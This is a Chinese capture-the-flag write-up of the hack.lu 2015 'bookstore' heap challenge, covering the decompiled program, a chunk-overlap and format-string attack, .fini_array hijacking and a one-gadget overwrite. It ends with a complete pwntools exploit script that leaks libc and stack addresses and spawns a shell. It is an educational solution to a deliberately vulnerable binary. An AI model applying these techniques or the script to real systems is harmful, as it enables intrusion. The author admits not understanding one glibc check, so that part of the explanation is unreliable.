CTF-PWN-堆-【chunk extend/overlapping-2】(hack.lu ctf 2015 bookstore)

文章目录

  • hack.lu ctf 2015 bookstore
  • 检查
  • IDA源码
      • main函数
      • edit_note
      • delete_note
      • submit
    • .fini_array段劫持(回到main函数的方法)
  • 思路
    • 格式化字符串是啥呢
    • 0x开头或者没有0x开头的十六进制的字符串或字节的转换为整数
    • 构造格式化字符串的其他方法
  • exp

佛系getshell
常规getshell

hack.lu ctf 2015 bookstore

检查

got表可写,没有地址随机化(PIE)
在这里插入图片描述

IDA源码

C 库函数 char *gets(char *str) 从标准输入 stdin 读取一行,并把它存储在 str 所指向的字符串中。当读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

C 库函数 int puts(const char *str) 把一个字符串写入到标准输出 stdout,直到空字符,但不包括空字符。换行符会被追加到输出中。

main函数

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{int v4; // [rsp+4h] [rbp-BCh]char *v5; // [rsp+8h] [rbp-B8h]char *first_order; // [rsp+18h] [rbp-A8h]char *second_order; // [rsp+20h] [rbp-A0h]char *dest; // [rsp+28h] [rbp-98h]char s[136]; // [rsp+30h] [rbp-90h] BYREFunsigned __int64 v10; // [rsp+B8h] [rbp-8h]v10 = __readfsqword(0x28u);first_order = (char *)malloc(0x80uLL);second_order = (char *)malloc(0x80uLL);dest = (char *)malloc(0x80uLL);if ( !first_order || !second_order || !dest ){fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);return 1LL;}v4 = 0;puts(" _____          _   _                 _          _                   _ \n""/__   \\_____  _| |_| |__   ___   ___ | | __  ___| |_ ___  _ __ ___  / \\\n""  / /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\/  /\n"" / / |  __/>  <| |_| |_) | (_) | (_) |   <  \\__ \\ || (_) | | |  __/\\_/ \n"" \\/   \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_|  \\___\\/   \n""Crappiest and most expensive books for your college education!\n""\n""We can order books for you in case they're not in stock.\n""Max. two orders allowed!\n");
LABEL_14:while ( !v4 ){puts("1: Edit order 1");puts("2: Edit order 2");puts("3: Delete order 1");puts("4: Delete order 2");puts("5: Submit");fgets(s, 128, stdin);switch ( s[0] ){case '1':puts("Enter first order:");edit_order(first_order);strcpy(dest, "Your order is submitted!\n");goto LABEL_14;case '2':puts("Enter second order:");edit_order(second_order);strcpy(dest, "Your order is submitted!\n");goto LABEL_14;case '3':delete_order(first_order);goto LABEL_14;case '4':delete_order(second_order);goto LABEL_14;case '5':v5 = (char *)malloc(0x140uLL);if ( !v5 ){fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);return 1LL;}submit(v5, first_order, second_order);v4 = 1;break;default:goto LABEL_14;}}printf("%s", v5);printf(dest);return 0LL;}

功能选择前就已经先创建三个大小为0x80的堆了(对于chunk的size为0x90),第一个chunk是order1的内容,第二个chunk是order2的内容,第三个chunk是dest的内容(这个存储字符串的),然后根据输入对应其功能函数,对应功能5的函数会创建一个0x140的堆(对于chunk的size为0x150),然后把之前函数定义的两个order的内容组合再加一个Your order is submitted!\n的字符串

edit_note

unsigned __int64 __fastcall edit_order(char *a1)
{int idx; // eaxint v3; // [rsp+10h] [rbp-10h]int cnt; // [rsp+14h] [rbp-Ch]unsigned __int64 v5; // [rsp+18h] [rbp-8h]v5 = __readfsqword(0x28u);v3 = 0;cnt = 0;while ( v3 != '\n' ){v3 = fgetc(stdin);idx = cnt++;a1[idx] = v3;}a1[cnt - 1] = 0;return __readfsqword(0x28u) ^ v5;
}

没有限制的输入长度,可以一直输入直到有换行符,并将换行符改为0

delete_note

unsigned __int64 __fastcall delete_order(void *a1)
{unsigned __int64 v2; // [rsp+18h] [rbp-8h]v2 = __readfsqword(0x28u);free(a1);return __readfsqword(0x28u) ^ v2;
}

直接free但是没有清空,存在use after free

submit

unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2)
{size_t v3; // raxsize_t v4; // raxunsigned __int64 v7; // [rsp+28h] [rbp-8h]v7 = __readfsqword(0x28u);strcpy(all, "Order 1: ");v3 = strlen(order1);strncat(all, order1, v3);strcat(all, "\nOrder 2: ");v4 = strlen(order2);strncat(all, order2, v4);*(_WORD *)&all[strlen(all)] = '\n';return __readfsqword(0x28u) ^ v7;
}

提交,此时将各个order的字符串和使用功能1或2时就已经赋值到dest里的字符串内容组合,再赋值到dest

.fini_array段劫持(回到main函数的方法)

.fini_array段劫持资料参考

大多数可执行文件是通过链接 libc 来进行编译的,因此 gcc 会将 glibc 初始化代码放入编译好的可执行文件和共享库中。 .init_array和 .fini_array 节(早期版本被称为 .ctors和 .dtors )中存放了指向初始化代码和终止代码的函数指针。 .init_array 函数指针会在 main() 函数调用之前触发。这就意味着,可以通过重写某个指向正确地址的指针来将控制流指向病毒或者寄生代码。 .fini_array 函数指针在 main() 函数执行完之后才被触发,在某些场景下这一点会非常有用。例如,特定的堆溢出漏洞(如曾经的 Once upon a free())会允许攻击者在任意位置写4个字节,攻击者通常会使用一个指向 shellcode 地址的函数指针来重写.fini_array 函数指针。对于大多数病毒或者恶意软件作者来说, .init_array 函数指针是最常被攻击的目标,因为它通常可以使得寄生代码在程序的其他部分执行之前就能够先运行。

构造函数(constructors)和析构函数(destructors)。程序员应当使用类似下面的方式来指定这些属性:

带有”构造函数”属性的函数将在main()函数之前被执行,而声明为”析构函数”属性的函数则将在after main()退出时执行。

#include <stdio.h>
#include <stdlib.h>static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));int main(int argc, char *argv[])
{printf("start == %p\n", start);printf("stop == %p\n", stop);return 0;
}void start(void)
{printf("hello world!\n");
}void stop(void)
{printf("goodbye world!\n");
}

在这里插入图片描述
在gdb中利用readelf查看对应的.ini_array段和.fini_array段,以及存储的函数指针
在这里插入图片描述
分析一下结果
.init_array存的 0x1160是 frame_dummy函数地址(ida里面可查看) 0x11bf,是自己定义的start函数的地址,也就是说main函数开始之前会先执行 frame_dummy函数和start函数

.fini_array存的 0x1120是 __do_global_dtors_aux函数地址(ida里面可查看) 0x11d9,是自己定义的stop函数的地址,也就是说main函数结束之后会执行 __do_global_dtors_aux函数和stop函数

假设此时取消定义的属性

#include <stdio.h>
#include <stdlib.h>static void start(void) ;
static void stop(void) ;int main(int argc, char *argv[])
{printf("start == %p\n", start);printf("stop == %p\n", stop);return 0;
}void start(void)
{printf("hello world!\n");
}void stop(void)
{printf("goodbye world!\n");
}

此时.ini_array和.fini_array都只有一个函数指针,.ini_array是 frame_dummy函数地址(ida里面可查看),fini_array是 __do_global_dtors_aux函数地址(ida里面可查看)
在这里插入图片描述

思路

明显溢出,而且长度任意,那么可以修改其他chunk的header和内容
如图,利用editor 2时写入0x80个字节覆盖满chunk2,多余的内容覆盖到chunk3的header处从而修改
在这里插入图片描述
但是我们先要得到libc地址,那么得得到相关函数地址才行

发现有个格式化字符串漏洞,但是在循环外,也就必须submit后才会执行该函数。又因为editor修改会在dest的位置复制一个字符串,所以当溢出设置格式化字符串时要提前空出这个后面要复制的字符串的长度。然后才是格式化字符串。但此时发现优于strcpy时会将空字符也复制进入,所以导致后面的内容无效,所以此方法还是不行。还得是再次找到机会重写dest

此时需要利用到chunk extend方法了
先free第二个堆,再修改第一个堆溢出从而修改第二个堆的header,然后调用submit使得malloc。当然也可以先修改第一个堆溢出修改第二个堆的header,然后free第二个堆,然后调用submit使得malloc
这样能够submit得到的堆是第二个堆,并且其大小覆盖到了dest这个堆,从而可以修改格式化字符串

free之前对chunk做各种check,总而言之就是不能double free和通过size计算的下一个chunk的得确实是一个malloc得到的chunk,那malloc时,会对该unsortedbin中的chunk的前后做合并尝试,首先通过prev_inuse来决定是否先前合并,如果为1即可不合并,同样,如果下一个chunk正在被使用的话,就没有向后合并的操作了(检查下一个chunk的下一个chunk的prev_inuse位)

所以此时溢出的prev_size大小为0也不影响,如果先free的话,这些free前的检查都不用考虑,只需如何修改使得malloc得到0x140的堆为第二个chunk,但如果是先修改再free,此时面对的各个检查比较繁琐,还需构造下一个chunk,所以采用先free再修改,此时对应的从unsortedbin的remalloc

if (size == nb)
{set_inuse_bit_at_offset (victim, size);if (av != &main_arena)victim->size |= NON_MAIN_ARENA;check_malloced_chunk (av, victim, nb);void *p = chunk2mem (victim);alloc_perturb (p, bytes);return p;
# define check_malloced_chunk(A, P, N)   do_check_malloced_chunk (A, P, N)
static void
do_check_malloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{/* same as recycled case ... */do_check_remalloced_chunk (av, p, s);/*... plus,  must obey implementation invariant that prev_inuse isalways true of any allocated chunk; i.e., that each allocatedchunk borders either a previously allocated and still in-usechunk, or the base of its memory arena. This is ensuredby making all allocations from the `lowest' part of any foundchunk.  This does not necessarily hold however for chunksrecycled via fastbins.*/assert (prev_inuse (p));
}
static void
do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);if (!chunk_is_mmapped (p)){assert (av == arena_for_chunk (p));if (chunk_non_main_arena (p))assert (av != &main_arena);elseassert (av == &main_arena);}do_check_inuse_chunk (av, p);/* Legal size ... */assert ((sz & MALLOC_ALIGN_MASK) == 0);assert ((unsigned long) (sz) >= MINSIZE);/* ... and alignment */assert (aligned_OK (chunk2mem (p)));/* chunk is less than MINSIZE more than request */assert ((long) (sz) - (long) (s) >= 0);assert ((long) (sz) - (long) (s + MINSIZE) < 0);
}/*Properties of nonrecycled chunks at the point they are malloced*/static void
do_check_inuse_chunk (mstate av, mchunkptr p)
{mchunkptr next;do_check_chunk (av, p);if (chunk_is_mmapped (p))return; /* mmapped chunks have no next/prev *//* Check whether it claims to be in use ... */assert (inuse (p));next = next_chunk (p);/* ... and is surrounded by OK chunks.Since more things can be checked with free chunks than inuse ones,if an inuse chunk borders them and debug is on, it's worth doing them.*/if (!prev_inuse (p)){/* Note that we cannot even look at prev unless it is not inuse */mchunkptr prv = prev_chunk (p);assert (next_chunk (prv) == p);do_check_free_chunk (av, prv);}if (next == av->top){assert (prev_inuse (next));assert (chunksize (next) >= MINSIZE);}else if (!inuse (next))do_check_free_chunk (av, next);                       这个检查应该使得无法利用的,不知道为啥可以利用成功
}

可以发现下一个chunk的inuse位为0
下一个chunk应该是不能通过do_check_free_chunk (av, next);
不知道为啥
在这里插入图片描述

static void
do_check_chunk (mstate av, mchunkptr p)
{unsigned long sz = chunksize (p);/* min and max possible addresses assuming contiguous allocation */char *max_address = (char *) (av->top) + chunksize (av->top);char *min_address = max_address - av->system_mem;if (!chunk_is_mmapped (p)){/* Has legal address ... */if (p != av->top){if (contiguous (av)){assert (((char *) p) >= min_address);assert (((char *) p + sz) <= ((char *) (av->top)));}}else{/* top size is always at least MINSIZE */assert ((unsigned long) (sz) >= MINSIZE);/* top predecessor always marked inuse */assert (prev_inuse (p));}}else{/* address is outside main heap  */if (contiguous (av) && av->top != initial_top (av)){assert (((char *) p) < min_address || ((char *) p) >= max_address);}/* chunk is page-aligned */assert (((p->prev_size + sz) & (GLRO (dl_pagesize) - 1)) == 0);/* mem is aligned */assert (aligned_OK (chunk2mem (p)));}
}static void
do_check_free_chunk (mstate av, mchunkptr p)
{INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);mchunkptr next = chunk_at_offset (p, sz);do_check_chunk (av, p);/* Chunk must claim to be free ... */assert (!inuse (p));assert (!chunk_is_mmapped (p));/* Unless a special marker, must have OK fields */if ((unsigned long) (sz) >= MINSIZE){assert ((sz & MALLOC_ALIGN_MASK) == 0);assert (aligned_OK (chunk2mem (p)));/* ... matching footer field */assert (next->prev_size == sz);/* ... and is fully consolidated */assert (prev_inuse (p));assert (next == av->top || inuse (next));/* ... and has minimally sane links */assert (p->fd->bk == p);assert (p->bk->fd == p);}else /* markers are always of size SIZE_SZ */assert (sz == SIZE_SZ);
}

格式化字符串是啥呢

这里利用输入时fgetc会输入空字符得特点和字符串相关函数遇到空字符结束的特点,使得最好输入的内容正好在格式化字符串参数的位置

此时对应的submit的结果:Order 1: 内容\nOrder 2: Order 1: 内容\nOrder 2: \n
我们的目的是达到第二个内容在dest的位置

此时首先为了达到溢出到修改节点2的header的位置需要将字符填满有0x80,而为了保证第二个内容在dest的位置,此时又得保证(Order 1: 内容\nOrder 2: Order 1: )这前面的内容有0x90,由于此时内容就有0x90个字节(0x80+chunk头0x10),所以由于字符串函数遇到空字符结束的特点,可以在内容中存在空字符来使得其截止

程序退出后会执行.fini_array地址处的函数,不过只能利用一次。

这里利用到malloc(0x150)得到的chunk依然是order2,而submit中第一次复制是将order1复制到order2里,然后又将order2的内容复制到order2中,这样超过0x80的部分就是格式字符串的内容了

此时格式化字符串是要泄露栈上libc_start_main函数的地址和修改fini_array的内容和泄露栈上某个与第二次调用printf格式化字符串漏洞的有固定偏移的栈地址
在这里插入图片描述

格式化字符串构造好后,在输入功能选项5后加上fini_array的地址,然后找到输入位置和printf参数的偏移,最后修改地址并泄露地址

最后第二次格式化字符串的时候修改返回地址为onegadget函数地址(方法与第一次类似,返回地址在栈上的位置与之前泄露的栈地址有固定偏移)

当替换到返回地址为onegadget地址后,当执行到onegadget后会发现rax已经是NULL,所以不需要清零了
在这里插入图片描述

0x开头或者没有0x开头的十六进制的字符串或字节的转换为整数

int(字符串,16)

构造格式化字符串的其他方法

可以通过多个+号来串联

b"%"+one+b"c%13$hhn"+b"%"+two+b"c%14$hn"

exp

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
p=process("./books")
#gdb.attach(p,"b main")
f=ELF("./books")
free_got=f.got["free"]def editor1(content):p.sendlineafter(b"5: Submit\n",str(1))p.sendlineafter(b"Enter first order:\n",content)def editor2(content):p.sendlineafter(b"5: Submit\n",str(2))p.sendlineafter(b"Enter second order:\n",content)def delete1():p.sendlineafter(b"5: Submit\n",str(3))def delete2():p.sendlineafter(b"5: Submit\n",str(4))def submit(content):p.sendlineafter(b"5: Submit\n",content)delete2()
payload=b"%10c%13$hhn%47c%14$hhn" #修改fini的内容
payload=payload+b"function:%31$p stack:%33$p"    # 泄露栈顶地址和函数地址# p 0x7ffdb2339578-0x7ffdb23393c8 $1 = 0x1b0
#p 0x7ffdb23393c8- 0x7ffdb23392b8 $5 = 0x110payload=payload+b'a'*(0x90-28-len(payload))
payload=payload+b"\x00"*(0x80-len(payload))+p64(0)+p64(0x151)
# Order 1: 内容\nOrder 2: Order 1: 内容\nOrder 2: \n
editor1(payload)fini_addr=0x6011b8
submit(b'5'+7*p8(0x0)+p64(fini_addr+1)+p64(fini_addr))
#0x7fffe0688210-0x7fffe06881e0  0x0000000000400830  0x400a39p.recvuntil(b"stack")
p.recvuntil(b"stack")
p.recvuntil(b"function:")
libc_start_main=p.recvuntil(b" ")[:-1]
libc_start_main=int(libc_start_main,16) # 将0x形式的字符串转化数字p.recvuntil(b"stack:")
stack_addr=p.recvuntil(b"a")[:-1]
stack_addr=int(stack_addr,16)libc_start_main=libc_start_main-240
libc_addr=libc_start_main-0x20750
stack_addr=stack_addr-0x1b0-0x110 +208
onegadget_addr=libc_addr+0x45226print("libc_start_main",hex(libc_start_main))
print("libc_addr",hex(libc_addr))
print("stack_addr",hex(stack_addr)) change46=hex(onegadget_addr)[-6:-4]
change46=int(change46,16)
print(hex(change46))
change14=hex(onegadget_addr)[-4:]
change14=int(change14,16)
print(hex(change14))
two=bytes(str(change14-change46),"ascii")
one=bytes(str(change46),"ascii")delete2()
print(one)
print(two)
payload=b"%"+one+b"c%13$hhn"+b"%"+two+b"c%14$hn"payload=payload+b'a'*(0x90-28-len(payload))
payload=payload+b"\x00"*(0x80-len(payload))+p64(0)+p64(0x151)
# Order 1: 内容\nOrder 2: Order 1: 内容\nOrder 2: \n
editor1(payload)submit(b'5'+7*p8(0x0)+p64(stack_addr+2)+p64(stack_addr))p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/458618.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Onlyfans年龄验证/无法支付等问题解决方案

很多用户在Onlyfans绑卡时&#xff0c;出现了地址、年龄验证、无法支付等各种问题。出现这个问题的原因&#xff0c;一是用国内邮箱注册了&#xff0c;二是绑卡时的IP有问题&#xff0c;会导致出现年龄验证、无法支付 Onlyfans 等问题。准备工作&#xff1a;WildCard账户&#…

Bootstrap5 响应式导航栏

Bootstrap5 响应式导航栏 我们可以使用 Bootstrap5 导航栏组件为网站或应用程序创建响应式导航标题。 这些响应式导航栏在手机等小视口的设备上会折叠&#xff0c;但当用户单击切换按钮时会展开。 但是&#xff0c;它在中型和大型设备&#xff08;例如笔记本电脑或台式机&#…

Netty源码系列 之 HashedWheelTimer源码

Netty优化方案 之前总结NioEventLoop以及其他内容时&#xff0c;已经总结了Netty许多优化的设计方案。 1.Selector的优化 (1) 为epoll空转问题提供了解决思路&#xff0c;虽然并没有从根本上解决epoll空转问题&#xff0c;但是使用一个计数器的方式可以减少空转所带来的性能…

点大商城V2版 2.5.5全开源独立版+前端

版本号&#xff1a;V2.5.52024-01-19新增买单付款备注 新增移动端后台买单数据统计和列表优化新增用户编辑可选附件存储类型&#xff08;控制台-用户编辑&#xff09;新增打开视频号主页组件&#xff08;选择链接-功能-视频号主页&#xff09;新增随行付小程序收银台&#xff0…

HCIA-HarmonyOS设备开发认证V2.0-3.2.轻量系统内核基础-任务管理

目录 一、任务管理1.1、任务状态1.2、任务基本概念1.3、任务管理使用说明1.4、任务开发流程1.5、任务管理接口 一、任务管理 从系统角度看&#xff0c;任务是竞争系统资源的最小运行单元。任务可以使用或等待CPU、使用内存空间等系统资源&#xff0c;并独立于其它任务运行。 O…

使用SpringMVC实现功能

目录 一、计算器 1、前端页面 2、服务器处理请求 3、效果 二、用户登陆系统 1、前端页面 &#xff08;1&#xff09;登陆页面 &#xff08;2&#xff09;欢迎页面 2、前端页面发送请求--服务器处理请求 3、效果 三、留言板 1、前端页面 2、前端页面发送请求 &…

94.网游逆向分析与插件开发-游戏窗口化助手-地图数据获取的逆向分析与C++代码还原

内容参考于&#xff1a;易道云信息技术研究院VIP课 上一个内容&#xff1a;升级经验数据获取的逆向分析 码云地址&#xff08;游戏窗口化助手 分支&#xff09;&#xff1a;https://gitee.com/dye_your_fingers/sro_-ex.git 码云版本号&#xff1a;c4351a5b346d8953a1a8e3ec…

Redis缓存设计及优化

缓存设计 缓存穿透 缓存穿透是指查询一个根本不存在的数据&#xff0c; 缓存层和存储层都不会命中&#xff0c; 通常出于容错的考虑&#xff0c; 如果从存储层查不到数据则不写入缓存层。 缓存穿透将导致不存在的数据每次请求都要到存储层去查询&#xff0c; 失去了缓存保护后…

Jedis和SpringDataRedis快速入门

Jedis快速入门 Jedis连接池 SpringDataRedis快速入门 序列化 引入SpringMVC就不用再引入这个依赖

qt学习:mplayer播放器(视频)+arm如何播放视频实战+c启动播放器

目录 作用 linux下载 arm下载 使用方法 键盘 命令 命令词有很多&#xff0c;举例几个 在arm上qt实战 配置ui界面 添加头文件&#xff0c;成员&#xff0c;函数 添加视频按钮点击事件 列表选项双击事件 播放按钮点击事件 暂停继续按钮点击事件 停止按钮点击事件 …

高中学校档案室主要做什么

高中学校档案室主要负责管理、保存和维护学校的各类档案文件。具体工作内容包括&#xff1a; 1. 档案收集&#xff1a;负责收集学校各个部门的档案文件&#xff0c;包括学生档案、教职工档案、教学档案、行政档案等。 2. 档案分类和整理&#xff1a;对收集到的档案文件进行分类…

借助宁盾身份目录实现信创、Windows混合终端统一身份认证及网络准入控制

背景&#xff1a; 近期有基金、保险行业的IT负责人反馈&#xff0c;公司要求IT建设必须紧跟政策&#xff0c;在2024年内必须要上国产信创操作系统终端&#xff0c;个别应用如OA系统、虚拟化桌面、邮箱等都不能再继续用国外的产品了&#xff0c;要完成国产化替代指标。跟着国产…